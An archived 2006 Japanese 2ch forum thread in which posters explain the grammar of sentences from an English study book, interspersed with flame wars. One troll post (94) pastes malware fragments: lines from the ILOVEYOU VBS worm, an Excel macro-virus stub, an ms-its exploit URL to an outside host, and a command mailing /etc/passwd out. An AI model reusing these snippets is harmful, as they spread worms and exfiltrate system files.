5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

新・基本英文700選を解説するスレ

1 :名無しさん@英語勉強中:2006/11/28(火) 23:14:15
伝説の名著『新・基本英文700選』を品詞分解+文法解説して最強の構文集にするスレです。
出口さんによる品詞分解の完了後、文法などの解説を進めています。
(このスレは統合初代スレとなります)

【品詞分解・まとめサイト】
http://www.geocities.jp/basic_grammar/
【文法解説・まとめサイト】
http://complete-700.hp.infoseek.co.jp/

【品詞分解・初代スレ】
http://academy3.2ch.net/test/read.cgi/english/1087304963/
【品詞分解・2代目スレ】
http://academy3.2ch.net/test/read.cgi/english/1109486600/
【品詞分解・3代目スレ】
http://academy4.2ch.net/test/read.cgi/english/1115916598/
【文法解説スレ】
http://academy4.2ch.net/test/read.cgi/english/1157282671/

2 :名無しさん@英語勉強中:2006/11/28(火) 23:18:05
2

3 :名無しさん@英語勉強中:2006/11/28(火) 23:31:13
>>1
悪いな

4 :名無しさん@英語勉強中:2006/11/28(火) 23:36:06
テンプレに追加しとけ

―スレタイ―
荒してください
http://human5.2ch.net/test/read.cgi/dame/1160231712/
88 :名無しさん@毎日が日曜日 :2006/10/29(日) 17:30:43 ID:IggTJZdP
新・基本英文700選を文法的に解説するスレ
http://academy4.2ch.net/test/read.cgi/english/1157282671/456


5 :寺岡:2006/11/29(水) 00:40:41
19番がやっとわかりかけてきました。
前スレの478さん丁寧な解説ありがとうございました。
お勧めの「英文法解説」(金子書房)を買いました。

6 : ◆IuJiIQCtrs :2006/11/29(水) 00:50:38
乙。

>勝手口さん、西川口さん
前スレの978・982について、西川口さんの982の説明が近い。
思ったのはネクサスで和訳すると文の論点がぼやけちゃう事。
特にhelpは、使役動詞とは意味合いを一線を隠してやらせることに話の焦点がない。
なんかネクサスで訳すとSVthat文みたいにネクサス部分全体が動詞に作用されて一意を作ってるような錯覚をおこしちゃう。
文意を突き詰めれば
This medicine will help.She help her mother.なんだよね。
「この薬を飲めば腹痛がおさまるでしょう」って日本語から英文の文意「この薬効くよ」をどれだけの人が抽出できるだろうか。

1.I saw the gentleman enter a store.
2.I saw the gentleman entered a store.
1は突き詰めればI saw the gentleman.
2は突き詰めてもI saw (the gentleman entered a store).若しくはI saw that.

7 :名無しさん@英語勉強中:2006/11/29(水) 00:55:40
消えろ

8 :名無しさん@英語勉強中:2006/11/29(水) 08:31:33
空気読めない馬鹿6のせいでまた荒れるorz

9 :名無しさん@英語勉強中:2006/11/29(水) 10:06:57
エロ消えろܷܵܶ

10 :名無しさん@英語勉強中:2006/11/29(水) 16:47:54
英文法解説ムズくね?

11 :名無しさん@英語勉強中:2006/11/29(水) 16:49:48
スレ違い

12 :名無しさん@英語勉強中:2006/11/29(水) 17:14:00
スレチカイ

13 :名無しさん@英語勉強中:2006/11/29(水) 18:27:18
>>11
Shut up

14 :名無しさん@英語勉強中:2006/11/29(水) 18:30:43
>>10>>5に対してのレス・・・じゃないの?

15 :名無しさん@英語勉強中:2006/11/29(水) 20:57:36
なるほど、繋がるね。
それにしてもスレ違いのネタを引っ張る奴もスレ違いだし、
最悪でもアンカ-くらいつけてもらわないと。
間に粘着コテの長文が挟まってるから唐突なレスに見える。

16 :名無しさん@英語勉強中:2006/11/29(水) 21:01:44
444:寺岡 2006/05/21 22:48:19 [sage]
本日、新・基本英文700選を購入しました。
未熟者ですが、なるべく自力で品詞分解しようと思います。
よろしくお願いします。

17 :勝手口 ◆KatteG.R4k :2006/11/29(水) 21:33:00
>>1
乙です。

>>6
説明ありがとうございます。
でも、前にも書きましたが、「S V O to do/S V O C は突き詰めると S V O だ」という考え方には、
まったく賛同できません。学習者にとっても役に立たないと思います。
1は突き詰めても I saw the gentleman enter a store. だと考えます。
(S V O to do/S V O C を内容や用法で区分することは有用だと思います)

「S V O to do/S V O C」と「S V that...」の両方をとる動詞の場合、
文意が異なるとすれば、直接的か間接的かという点であり、ネクサスか否かではないと思います。
(例:「see that...」は「直接見える」ではなく「(新聞などで)見る/知る、話が見えてくる/わかる」)

>思ったのはネクサスで和訳すると文の論点がぼやけちゃう事。
ネクサスは「英文を理解する」ためのものであって、和訳の技巧ではありません
(和訳の技巧が必要となるのは、英文を正読した後の話です)。
I saw him crossing the street. (§171-(1))
The bear stood there with his tongue hanging out. (§335-(1)-【7】)
などは、ネクサスを意識しないと、返り読みをして誤読する可能性があります。

>「この薬を飲めば腹痛がおさまるでしょう」って日本語から英文の文意「この薬効くよ」をどれだけの人が抽出できるだろうか。
抽出できないとも思いませんが、訳文は文脈に依存するものなので、いろいろ可能性があるでしょう。
むしろ重要なのは、「この薬を飲めば腹痛がおさまるでしょう」を英語で表現したいときに、
「This medicine will help relieve your stomachache.」という文章形式を、選択肢の1つとして思いつくことだと思います。

なお、help は、allow、force などと同類とされ(江川 p.330)、使役動詞として区分されることもあります。
(§170 使役動詞、[2] get, help, bid の用法、(2) help,bid)(江川 pp.335-336)
また、『Practical English Usage』では、使役動詞や知覚動詞(感覚動詞)と help とを区別していません。
(PEU, §281 infinitives (3), [2] after let, make, hear etc)

長文、失礼しました。

18 :勝手口 ◆KatteG.R4k :2006/11/29(水) 21:34:10
253.(名詞表現:動詞派生名詞)
S / has / a {good→} <reading→ knowledge> {←of French}. (文型:S V O)
【直訳風】「彼は、フランス語に関する十分なリーディングの知識をもっている」

動詞から派生した名詞は、元の動詞に「こと」を付ける感じで意味をとらえると良いと思います。
know → knowledge(知っているということ)、see → sight(見えること)、think → thought(考えること)
該当箇所:
「§72 名詞の慣用表現」(特に、[3]〈動詞+名詞〉の慣用表現 名詞表現)
参考:
He has a knowledge of French.(彼はフランス語が少しできる)
(§44 抽象名詞、(2) 程度の多少を表すとき、[参考] a=some)
I hate the sight of him.(訳例:彼の姿を見るとぞっとする)
(行方昭夫『英語の発想がよくわかる表現50』p.85)

「a good (形) 名」の good は、「量的に十分/たっぷり」を表すことがあります。
辞書で確認しておきましょう。

cf. He knows how to read French very well.


254.(名詞表現:動詞派生名詞)
S / can take / O / M2((when s v x)). (文型:S V O)
【直訳風】「私は、この仕事が終わったら、かなり長い休みをとることができる」

when節内は、S / is / finished (文型:S V C)(受動態)

cf. I can rest for a good long time.

19 :名無しさん@英語勉強中:2006/11/29(水) 22:19:31
700選とDUOってどっちが全部暗記楽ですか?

20 :名無しさん@英語勉強中:2006/11/29(水) 22:20:53
しねばいいのに

21 :名無しさん@英語勉強中:2006/11/29(水) 22:21:30
>>19
マルチは市ね

22 :名無しさん@英語勉強中:2006/11/29(水) 23:00:07
>>21
シネマルチハシネ

23 :名無しさん@英語勉強中:2006/11/30(木) 00:27:52
エロもちつけ

24 :西川口 ◆Im4lkGa4xk :2006/11/30(木) 02:13:11
>>1
スレ立て乙です。

98の文
I was waiting for (the rain to stop). (雨がやむのを待っている)
the rain stops. を、不定詞で名詞化→(for) the rain to stop (雨がやむコト)
wait for の 目的語にすると、forがダブるので1個省略。

もうひとつのネクサスにも注目して、
(I was waiting for the rain) to stop.(私は雨を待っています、やむのをね。)
雨乞いの話を期待させておいて、後から意味を逆転させる感じ。(シチュエ―ションによりますが...)
こういうリズムが英語の妙味なのかとも思ったりします。

参照
wait for the rain to stop については、前文法スレの>>214 勝手口氏の解説
kindly については、前スレの>>796 勝手口氏の解説(225の文のwisely について)
give me a ride については、前文法スレの>>426

25 :名無しさん@英語勉強中:2006/11/30(木) 09:23:53
西口さんは初心者向けの解説が上手いネ。
ロイヤルを使いこなせない俺にも良く分かる!

26 :名無しさん@英語勉強中:2006/11/30(木) 10:29:13
エロに対するあてつけだろ。自演乙

27 :名無しさん@英語勉強中:2006/11/30(木) 10:57:19
こんなエサに食いつくものかw

28 :名無しさん@英語勉強中:2006/11/30(木) 16:05:09
エロキタ━━(゚∀゚)━━!!

29 :勝手口 ◆KatteG.R4k :2006/11/30(木) 22:44:36
255.(名詞表現:動詞派生名詞)
Don't / S / wish / to v x? (文型:S V O)(疑問文)
【直訳風】「あなたは、熱気球に乗って飛ぶことを行ってみたいと思いませんか」

to不定詞のところは、
make / a flight {←in a <hot air→> balloon} (文型:(S) V O)

cf. Don't you wish to fly ((in a hot air balloon))?


256.(名詞表現:動詞派生名詞)
S / will give / O1 / O2 / M2((in...two)). (文型:S V O O)
【直訳風】「私は、一両日中に、あなたに返事を与えます」

cf. I will answer you.

30 :名無しさん@英語勉強中:2006/11/30(木) 22:46:36
勝手口さんはオーバー初心者向けの解説が上手いネ。
700選を使いこなせない俺にも良く分かる!

31 :名無しさん@英語勉強中:2006/12/01(金) 01:14:04
まとめサイトの人、まだ解説が出来てないところの
リンク外してくれると紛らわしくなくていいかも
ついでにメニューに例文番号も書いてあるといいかもしれません
例えば時制(257-284)みたいに

32 :西川口 ◆Im4lkGa4xk :2006/12/01(金) 01:55:23
99の文(前文法スレで既に解説済という気もしますが)

You can depend on (the timetable to tell you.....)
(時刻表が...を教えてくれるコトに、頼ることができる。)
the timetable tells you... を、不定詞で名詞化→(for) the timetable to tell you...
これがdepend on の目的語になったので、for が消えた形。

主文のネクサスに注目すると、
(You can depend on the timetable) to tell you...
(時刻表に頼ることができる、(時刻表が)... を教えてくれることに関して)

どちらの見方が正しいかより、timetable を軸にした2つのネクサスを意識できたら
それでいいのではないかと、個人的には思ってます。

前文法スレで活発に議論されてたところなので、是非参照してみてください。
>>321->>359

tell you when trains leave
trains leave を、接続詞when で名詞化。that と違うのは、(...する時)という訳。
(あなたに、列車が出る時を教える)
文の構造は give系の4文型。

33 :名無しさん@英語勉強中:2006/12/01(金) 16:56:38
>>31
調子のるな。
厨房は誰かが親切するとすぐ付け上がるから原辰ナリ。
三人の解説者やまとめサイトの管理者には謙虚に接して欲しい。
最後のは31だけじゃなくてこのスレの住人にもお願いします

34 :名無しさん@英語勉強中:2006/12/01(金) 17:28:42
誰か、まとめサイトを携帯で見れるようにしてください。


35 :名無しさん@英語勉強中:2006/12/01(金) 18:51:11
>>34
普通に携帯から見れるだろ。専ブラ使わなくても。
それに誰か見れるようにしてくれって言った所で結局管理人しかできないよね?
これだから厨(ry

36 :名無しさん@英語勉強中:2006/12/01(金) 18:58:25
方法ならあるだろ。
>>35も厨房だな。

37 :名無しさん@英語勉強中:2006/12/01(金) 19:47:10
>>36
厨房って言われて悔しかったの?

38 :名無しさん@英語勉強中:2006/12/01(金) 20:36:16
>>35
この前、見ようとしたときは接続悪かったぽいです。無事、見れました。
ありがとうごさいました。


39 :名無しさん@英語勉強中:2006/12/01(金) 20:51:44
まとめサイトをいいサイトにしたいと思うだけなんだが・・・。

40 :名無しさん@英語勉強中:2006/12/01(金) 21:50:17
>>33
>>31は別に調子にのってなんかないと思うが。
何シキってんだ?意見も書いちゃいけないのか?

41 :勝手口 ◆KatteG.R4k :2006/12/01(金) 22:45:59
>>32
「2つのネクサス」という考え方からすると、大きく分けて、
(1):【S V ≪O to do≫】
(2):【S V ≪O】 to do≫
という2つの類型がありそうですね(江川 pp.329-332、安藤 pp.215-217)。
(1)のパターンだと、ネクサス全体が「ネクサス目的語」とみなされ、
(2)のパターンだと、O が目的語として独立していて、
to が「方向」という基本イメージを保持している、といった傾向があるようです。

この視点から、工口さんの発言を再解釈するなら、
help O (to) do は、to が省略されることから使役動詞に分類されることもあるが、元来 (2)のパターンであるから、
O を、ネクサスの主語としてだけでなく、独立した目的語としてとらえる必要がある、
と修正できると思います。

42 :勝手口 ◆KatteG.R4k :2006/12/01(金) 22:48:57
さて、B-1 に進もうと思います。

257.(現在形:現在の性質・状態)
S / stands / A((on...hillside)) // and // commands / O. (文型:S V A and V O)

単純現在形は、基本的に「いつものこと、現在の事実」を表します。
状態動詞 - 持続的な性質・状態
動作動詞 - 習慣的な動作・反復的な出来事

西川口さんなどが各所で説明してらっしゃるのでそれぞれ確認してください。

該当箇所:
「§182 現在時制 (Present Tense)、[2] 現在時制の表す意味」

43 :西川口 ◆Im4lkGa4xk :2006/12/02(土) 00:12:03
>>41
>(2):【S V ≪O】 to do≫

カッコの使い方がうまいっす。イメ―ジ通りです。
前半と後半のどちらのネクサスに重きを置くかは、「状況による」としか、
今の俺には言えないですが、orz

44 :西川口 ◆Im4lkGa4xk :2006/12/02(土) 00:17:34
100の文
「あいつって、そのくらいすげぇ優しい性格だよな」と唐突に言われたら、どうでしょう。
「そのくらい」ってどのくらい?と聞き返したくなります。
それが such ... that ... 構文。どのくらい優しいかは、that 以下で説明。
「大声出すの聞いたことがねぇよ、(そのくらい優しい性格)」

such は、「すごく」という反面、どのくらいすごいかは、後から説明しますよ
という目印みたいなものです。機能的には、so と同じ。

I have never heard (him speak in a loud voice)
He speaks in a loud voice を、不定詞で名詞化 (for) him (to) speak in a loud voice
heard の目的語になって、for と to が消えた形。原型不定詞という呼び名もなんとなくわかります。
彼が大声で話すコトを聞いたことがない。

もうひとつのネクサスは、
(I have never heard him ) speak in a loud voice.
(今までそんな彼を)聞いたことがない、(彼が)大声で話すのを

....と、今までの理屈で説明しましたが、個人的には、(heard him speak) がひとかたまりに
感じます。

45 :36:2006/12/02(土) 08:03:34
>>37
オマエが厨房だろ。俺を34と思ったんだろ
フルブラウザやアプリ以外にも変換ツールがあるだろ

46 :名無しさん@英語勉強中:2006/12/02(土) 10:53:41
いい加減にしろ屑

47 :名無しさん@英語勉強中:2006/12/02(土) 11:09:11
>>46
終わってる話を蒸し返すなよ。オマエも屑だな。

48 :名無しさん@英語勉強中:2006/12/02(土) 11:20:32
フルブラウザやjigBrowser,ibisBrowser、PCサイトビューア使えばいいだろう。
ttp://tool-1.net/?id=kt&pn=15

http://hobby7.2ch.net/test/read.cgi/chakumelo/1164845516/
http://hobby7.2ch.net/test/read.cgi/chakumelo/1153929534/

49 : ◆IuJiIQCtrs :2006/12/02(土) 13:15:36
>I have never heard him speak in a loud voice
一息で読まないとするとどこで区切る?

1.I have never heard /him speak in a loud voice
2.I have never heard him /speak in a loud voice
3.I have never heard him speak/ in a loud voice

>to が省略されることから使役動詞に分類されることもあるが
最近の動きですよね。口に馴染んできたから取れただけのこと。
補足としてのto不定詞からネクサスみたいな主語述語関係を意識しだしたからじゃないかな?
昔は知覚構文だってto入ってたんだから。

50 :名無しさん@英語勉強中:2006/12/02(土) 14:43:15
>>45
厨房と言われて悔しかったのか完全に迷走し、どつぼにはまってますね(笑)。

51 :名無しさん@英語勉強中:2006/12/02(土) 14:44:49
これがエロ叩き厨房の実体だなw

52 :名無しさん@英語勉強中:2006/12/02(土) 14:48:11
またエロの自演か

53 :名無しさん@英語勉強中:2006/12/02(土) 15:02:09
>>52
かなり即レスだけどエロ叩くためにこのスレ張り付いてるの?
キンモーw

54 :名無しさん@英語勉強中:2006/12/02(土) 15:33:30
>>50
自己紹介乙

55 :名無しさん@英語勉強中:2006/12/02(土) 15:50:13
何だこのスレ

56 :名無しさん@英語勉強中:2006/12/02(土) 15:56:09
>>53
こいつエロじゃね?

57 :名無しさん@英語勉強中:2006/12/02(土) 16:23:32
>>54見苦しいですよ

58 :名無しさん@英語勉強中:2006/12/02(土) 16:30:58
>>57
自演乙

59 :名無しさん@英語勉強中:2006/12/02(土) 16:36:26
何このスレw

1部のコテの情報交換と、名無し厨坊どものどつきあいの共存?

60 :名無しさん@英語勉強中:2006/12/02(土) 16:39:16
以上>>59の自演でおおくりいたしました。

61 :名無しさん@英語勉強中:2006/12/02(土) 16:57:23
>>49
いろいろ乙

62 :名無しさん@英語勉強中:2006/12/02(土) 16:59:23
エロが来るといつもこうだ

63 :名無しさん@英語勉強中:2006/12/02(土) 17:07:38
以上>>62の自演でうまくまとまりました。

64 :名無しさん@英語勉強中:2006/12/02(土) 17:37:29
以上>>63様の自演でした。お疲れ様でした

65 :名無しさん@英語勉強中:2006/12/02(土) 20:20:32
>>49
おとなげない。
貴様が消えれば全て丸くおさまるのに荒らしたいわけ?

66 :名無しさん@英語勉強中:2006/12/02(土) 20:33:37
と馬鹿が言っております

67 :名無しさん@英語勉強中:2006/12/02(土) 20:48:01
>>66
こいつエロじゃね?

68 :名無しさん@英語勉強中:2006/12/02(土) 20:56:47
エロは、コテ付きでも痛い発言するだろ。
他のは、すべて別人。名無しで煽り屋がいるんだって。
いい加減気付け。

69 :名無しさん@英語勉強中:2006/12/02(土) 21:06:15
エロにリア厨と言われたヤツが粘着してるんだろうなw

70 :西川口 ◆Im4lkGa4xk :2006/12/02(土) 21:58:42
>>49
>一息で読まないとするとどこで区切る?
>1.I have never heard /him speak in a loud voice
>2.I have never heard him /speak in a loud voice
>3.I have never heard him speak/ in a loud voice

考えれば考えるほどわからなくなってきたので、w
読む場合ではなく、話す場合を想定して考えてみました。

1の場合は、文の途中で区切るかたちになるので、聞き手の注意を引き付けることは
できそうです。が、そこで間を取るのであれば、he spoke ...と続けたくなります。

2と3は、前半部分だけでも完結した文なので、区切りは良さそうです。
speak in a loud voice のまとまり感が強いので、2の区切りが妥当でしょうか。

ただ、スラッシュのところであまり間を取りすぎると、
「彼は極端に無口?」もしくは「しゃべれない?」みたいな誤解も生じそうです。
him で区切ったとしても、すぐ speakと続けたいですね。

71 :名無しさん@英語勉強中:2006/12/02(土) 22:47:57
んで>>69がリア厨でおk?

72 :名無しさん@英語勉強中:2006/12/02(土) 22:48:40
おkwwwwwwwwwwwwwwwwwwwwww


73 :名無しさん@英語勉強中:2006/12/02(土) 22:55:25
すぐ反応することで自演と見せたいのか?
今日は一段とエロのj(ry

74 :名無しさん@英語勉強中:2006/12/02(土) 23:06:20
685 名前:工口【たくみぐち】 ◆IuJiIQCtrs [sage] 投稿日:2006/10/25(水) 21:22:53
瀕死分解の方のスレ立て人か住人のリア厨が独りで荒しまわってるってことでFA?
引き篭もってないでたまには日光を浴びろ。
それと去る前に自分のレスは削除依頼しとけよ。

75 :名無しさん@英語勉強中:2006/12/02(土) 23:09:46
>>74
エロに言われてそんなに悔しかったの?それともエロ本人?

76 :名無しさん@英語勉強中:2006/12/02(土) 23:12:35
>受験英語の誤りは沢山あります。
そんならコテと鳥つけて、その批判を展開してってよ。
具体的な例文を挙げてね。
>>640を参考にな。

そうすればみんな勉強になるわけだし。
ここは品詞の粘着以下自演の巣窟なんで名無しがいくら叫んでも無駄。



77 :名無しさん@英語勉強中:2006/12/02(土) 23:12:56
本人だなwwwwwwwwwwwwww

78 :名無しさん@英語勉強中:2006/12/02(土) 23:14:53
まあ所詮、コテも名乗れない名無しが解説と関係ないとこで煽ってるだけなので気にせずやってください。
俺も別にずっと覗いてるわけじゃないから、流れに乗れないこともある。止めたわけじゃないおーw


79 :名無しさん@英語勉強中:2006/12/02(土) 23:16:03
>>75
まあ所詮、コテも名乗れない名無しが解説と関係ないとこで煽ってるだけなので気にせずやってください。
俺も別にずっと覗いてるわけじゃないから、流れに乗れないこともある。止めたわけじゃないおーw

80 :名無しさん@英語勉強中:2006/12/02(土) 23:30:40
>>75=>>79だろw
酷い自演だなぁ

81 :勝手口 ◆KatteG.R4k :2006/12/02(土) 23:38:04
>>49
>>I have never heard him speak in a loud voice
>一息で読まないとするとどこで区切る?
CDでは「3」のようですね。焦点だからだと思います。


258.(現在形:時・条件を表す副詞節での未来の代用)
S / cannot tell / <when s v x>,// (文型:S V O)
but // M2((when s v x)), / S / will do / O. (文型:S V O)

1つ目のwhen節内は、S / will come (文型:S V)
2つ目のwhen節内は、S / comes (文型:S V)

原則は「従属節の動詞の形は、誤解が生じない限りできるだけシンプルに」
(tense simplification in subordinate clauses)
単純未来の will に関する一般的な傾向としては、
副詞節 - 未来のことを言うときでも、形は現在形を使う(主文に will があることが多いから)。
名詞節、形容詞節 - 未来のことを言うときは、will を使う(主文に will がないことが多いから)。

ただし、
名詞節や形容詞節でも、主文で will が使われているなど、
明らかに未来の話の場合には現在形を使います。(PEU, §580)(例文222を参照)

副詞節でも、「主語の意志」を表す場合や、if節が主文の結果を示す場合など、
単純未来でない場合には willを使います。
該当箇所:
「§256 単なる条件と仮想の条件、(1) 単なる条件(開放条件)、[注] If 節内の will」
(PEU, §260。『続 日本人の英語』pp.123-130)

82 :勝手口 ◆KatteG.R4k :2006/12/02(土) 23:38:39
259.(現在形:真理・社会通念)
M2,/ S / did not know / <that s v x> and <that s v x>. (文型:S V O)

1つ目のthat節内は、S / is / C (文型:S V C)
2つ目のthat節内は、S / moves / A((around the sun)) (文型:S V A)

いわゆる「時制の一致の例外」というやつですが、
「普遍の心理は絶対に現在形じゃなきゃいけない」と考えるのは間違いです。
話し手が「現在の事実」だと判断/主張するかどうか、で決まるのであって、
真理かどうか、はあまり関係がありません。
該当箇所:
「§353 現在・過去のままの場合、(1) 現在のままの場合、【1】 不変の真理や社会通念を表すとき」
(『英文法をこわす』pp.165-172)

83 :名無しさん@英語勉強中:2006/12/02(土) 23:41:34
これってちゃんと許可とってやってるのか?
700選は勿論だが、引用としてあげてる文法書なんかも著作権上いいのか?

84 :名無しさん@英語勉強中:2006/12/02(土) 23:54:29
>>83
前スレで確認済みだ

85 :名無しさん@英語勉強中:2006/12/02(土) 23:59:26
訴えられたとしても俺らには関係ねーしw
多分まとめサイト作ってるやつだけが責任取ることになるからそいつ以外心配すんな

86 :名無しさん@英語勉強中:2006/12/03(日) 00:03:33
また1スレ目みたいになっちまったな

87 :名無しさん@英語勉強中:2006/12/03(日) 00:13:05
エロが途中で止めるのが悪い。
そのせいで他の人がターゲットにされてる。
粘着ヤロウなんか無視して解説してくれ。

88 :名無しさん@英語勉強中:2006/12/03(日) 00:15:27
勝手口と西川口ターゲットにされてるか?
エロだけだと思うが?
エロは消えろ。

89 :名無しさん@英語勉強中:2006/12/03(日) 00:15:31
>>80
75以降レスしてないよ。もしや>>75は図星だった?

90 :名無しさん@英語勉強中:2006/12/03(日) 00:23:36
>>88
まあ所詮、コテも名乗れない名無しが解説と関係ないとこで煽ってるだけなので気にせずやってください。
俺も別にずっと覗いてるわけじゃないから、流れに乗れないこともある。止めたわけじゃないおーw

91 :名無しさん@英語勉強中:2006/12/03(日) 00:28:07
勝手口氏解説直後の>>83も攻撃。
今度は携帯とPCで書き込みだろ。
オマエ一人が、ずっと張り付いてるんだよ。

92 :名無しさん@英語勉強中:2006/12/03(日) 00:31:10
>>91
お前が張り付いてんだろうがwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww


93 :名無しさん@英語勉強中:2006/12/03(日) 00:36:24
俺は、オマエにしかレスしてないだろ。
オマエは、全員に攻撃してるし嘘もついてる。レスも速い。

もう止めた。

94 :名無しさん@英語勉強中:2006/12/03(日) 00:40:03
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ܷܵܶ


95 :名無しさん@英語勉強中:2006/12/03(日) 00:40:49
今日(厳密には昨日)の昼頃例題(>>49)を出しておきながらその後放置。
西川口氏がわざわざレスつけても放置。
貴方の例題の答えや解説が聞きたくて待ってたものがいた事をお忘れなく。
しかも今日のようなスレ進行ときたら、
名無しで自演してると言われても仕方ないのでは?
たとえ自演をしてないとしても中途半端に解説打ち切って、
その後知らん顔というのは人間として下等。
ウザがられてるのに、今更になって叩かれたからレスは控えました、とかいうオチはありえないだろうし、
失望とともに見損なった。

96 :名無しさん@英語勉強中:2006/12/03(日) 00:42:21
>>93
あ?
勝手に人の所為にして逃げんのか?
言っとくが俺は>>83じゃねーし

97 :名無しさん@英語勉強中:2006/12/03(日) 00:42:27
これで一人の粘着が執拗にエロを攻撃してるの分かっただろ。
エロ帰って来い。

98 :名無しさん@英語勉強中:2006/12/03(日) 00:49:37
>>91
今日ずっと自演してるのがお前というのは分かった。でもなんでこのID非表示のこの板で
>携帯とPCで書き込み
で自演する必要があるかが謎だ。
2chにおける君のルーチンなんか?
はたから見て自爆していく様子が痛い

99 :名無しさん@英語勉強中:2006/12/03(日) 00:53:41
これで一人の擁護か本人が執拗に自演してるの分かっただろ。
現に今、エロの存在を不快に思ってる奴が複数人いる。
擁護自演一人で大変だな

100 :名無しさん@英語勉強中:2006/12/03(日) 00:54:31
エロさんはパス付掲示板のサイトを作るって言ってたけど
あれはどうなってるんでしょう?

101 :名無しさん@英語勉強中:2006/12/03(日) 00:54:59
じゃあラスト。
俺のどれが自演だ?言ってみろ。おれがエロだって言うのか?ただの釣りだぞw

>>88>>89は4秒差だが両方オマエだろ。

102 :名無しさん@英語勉強中:2006/12/03(日) 00:56:17
自演がバレたからって今度は釣りでしたって済ますつもりか?

103 :名無しさん@英語勉強中:2006/12/03(日) 00:59:53
だから、どれが自演なんだ?お互いに自演である証明も、自演でない証明も不可なんだぞ。

煽って荒らしてるだけのヤツに、これ以上協力する気はない。

104 :名無しさん@英語勉強中:2006/12/03(日) 01:01:32
>>101
お前馬鹿か?
>>98が言うように携帯とPCで書き込みとか、お前のやり方で物を見るのやめたら?
まぁ、お前が携帯とPCで自演してるって事が分かっただけでも収穫だよw

105 :名無しさん@英語勉強中:2006/12/03(日) 01:02:58
>>101
エロがただ一人によってしか叩かれていないという精一杯の願望が持ち続けてるのは分かった。
残念だが、その携帯・PCから同時書き込みという発想は全くなかったよ。
自演のプロは流石だw

106 :名無しさん@英語勉強中:2006/12/03(日) 01:06:13
アホか?
携帯とPCの自演は同時刻書き込みか別IDで他人を装わないと自演にならないだろw


107 :名無しさん@英語勉強中:2006/12/03(日) 01:18:54
エロ先生もしくはそのシンパが本職ピックルだったというオチでおk?
萎えたとこで俺も寝よう。よかったら明日起きるまでに>>49の続きの解説してよ。>エロ

どんなに嫌われてようが、中途半端に解説を投げ出すのはだけは良くない。
レスした結果、エロが叩かれても責任はとらないが

108 :名無しさん@英語勉強中:2006/12/03(日) 01:30:38
詭弁のガイドラインの要約
1:事実に対して仮定を持ち出す
2:ごくまれな反例をとりあげる
3:自分に有利な将来像を予想する
4:主観で決め付ける
5:資料を示さず自論が支持されていると思わせる
6:一見関係ありそうで関係ない話を始める
7:陰謀であると力説する
8:知能障害を起こす
9:自分の見解を述べずに人格批判をする
10:ありえない解決策を図る
11:レッテル貼りをする
12:決着した話を経緯を無視して蒸し返す
13:勝利宣言をする
14:細かい部分のミスを指摘し相手を無知と認識させる
15:新しい概念が全て正しいのだとミスリードする
16:さも当然のように未決着事項を前提にする。
17:論点をすりかえる。
18:事実の一部のみを抜き出してミスリードする。
19:相手に譲歩したと見せかけながら、自分の意見を押しつける。
20:条件の包含関係を間違える
21:全てか無かで途中を認めないか、あえて無視する。
22:勝手に極論化して、結論の正当性に疑問を呈する。
23:自分で話をずらしておいて、「話をずらすな」と相手を批難する。
24:ネタと決めつけて議論を停止させる。
25:嘲笑で優位に立った様に振舞う
26:反論の代わりに詭弁ということにしてすます

109 :西川口 ◆Im4lkGa4xk :2006/12/03(日) 02:16:48
>>81
>CDでは「3」のようですね。焦点だからだと思います。
その手があったか!

101の文
The old gentleman crossed the street and entered a store on the corner.
これを不定詞で名詞化
(for) the old gentleman (to) cross the street and (to) enter a store on the corner
saw の目的語になって、for と to が消えます。

the old gentleman (その老紳士)とa store (とある普通の店)
老人は特定されていますが、店は特定されていません。つまり、焦点は老人の行動にあります。
老人を尾行中の刑事のセリフみたいな感じです。

これが逆に an old gentleman (見知らぬ老紳士)とthe store (その店)の組み合わせなら
焦点は店にあります。その店を張り込み中の刑事のセリフのようになります。

on the corner
「接触」のon (その角にくっついて建っている店)→その角の店

「中」のin を使うと、3Dな感じ。in the corner of the room
「点」のat を使うと、何らかの地点、ポイントを示す。面積的な
広がりを感じない。Turn at the corner. (その角をまがれ)

110 :名無しさん@英語勉強中:2006/12/03(日) 13:08:29
>>108
自演がばれたから次はコピペですか?

111 : ◆IuJiIQCtrs :2006/12/03(日) 14:06:43
オマイら俺のいない間にあまりおもしろい事するなよwwwww

とりあえずまじめに>>49前半から
俺は2のつもりだったが、確かにCDは3だよね。でもその項を通して聞いてみると
例えばhelp her mother/prepare breakfastだったし、saw the oldman /cross the streetだった。
不定詞の節が短い事も関係あるのかな?あと強弱強(高低高)なイントネーションにも注目。
